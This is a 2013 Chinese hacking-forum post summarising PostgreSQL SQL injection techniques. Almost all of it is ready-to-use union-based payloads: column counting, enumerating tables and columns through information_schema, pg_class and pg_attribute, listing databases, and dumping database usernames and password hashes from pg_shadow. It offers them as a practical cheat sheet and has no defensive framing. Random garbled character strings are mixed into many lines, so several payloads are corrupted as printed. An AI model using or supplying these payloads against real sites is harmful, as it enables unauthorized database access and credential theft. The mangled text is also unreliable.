找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2066|回复: 0
打印 上一主题 下一主题

postgreSQL注入总结

[复制链接]
抢楼 抢楼 本帖为抢楼帖,欢迎抢楼! 
跳转到指定楼层
楼主
发表于 2013-10-13 12:57:16 | 只看该作者 回帖奖励 |阅读模式
结合了MSSQL MySQL Oracle的一些特点  @6 `+ `* X7 P+ @5 R. s* r7 q

支持多语句执行,语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**/5 p5 P: T5 g& f2 b0 u$ C7 B4 J
连接符: %20 , + , /**/

内置函数:
! a1 P! d* H  i) z% ~! b; U) Pcurrent_database() //当前数据库名
5 |1 g) H. p, v- o/ asession_user //会话用户& t  J6 N$ x% L! _! L
current_user //当前数据库用户4 I  [" Y" s! A. c; L4 u
user //当前用户
$ R5 z- R  n# [version() //数据库版本

Union注射:
4 w1 o2 O1 U$ L" |# N- Xorder by n–  ~9 {4 P" B# i# e, |" t" a9 _$ C
and 1=2 union select null,null,null–
; S- w4 w  W, d7 s! nand 1=2 union select ‘beach’,null,null–
# W9 h+ e9 R: T- ]and 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):: ^2 B) m3 K. M  `4 m2 I5 p
group_concat(table_name)2 W$ z# J/ @9 i* b. H! V# K& e
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
7 d$ S0 L/ f6 m, P+ Yand 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–: @3 G2 w5 |+ [' j: x
(老版本)
1 P0 N9 q; n, |4 n0 G5 Tpg_class.oid对应pg_attribute.attrelid- o" _$ _# F! _# c7 |% o4 h
pg_class.relname表名
8 j' _, n- {8 A. Ipg_attribute.attname字段名

select relname from pg_class获取表名/ Z' C3 t/ a/ {: e
select oid from pg_class where 条件 获取参数
0 t/ j' Y3 Y- g" cselect attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:
) O1 E% h4 f" D; s+ {! `# ^+ C5 Band 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
# E' D4 g4 y7 G) K0 ?5 w$ Land 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
1 Y$ z; z7 \" ]7 h, o+ ^由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
) t/ F1 q5 w4 |: i  i  m7 ]% y5 s======================================================================; y( p! ~1 e  ~" f
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
3 g5 Y5 P; s! D, a/ s! Gand 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表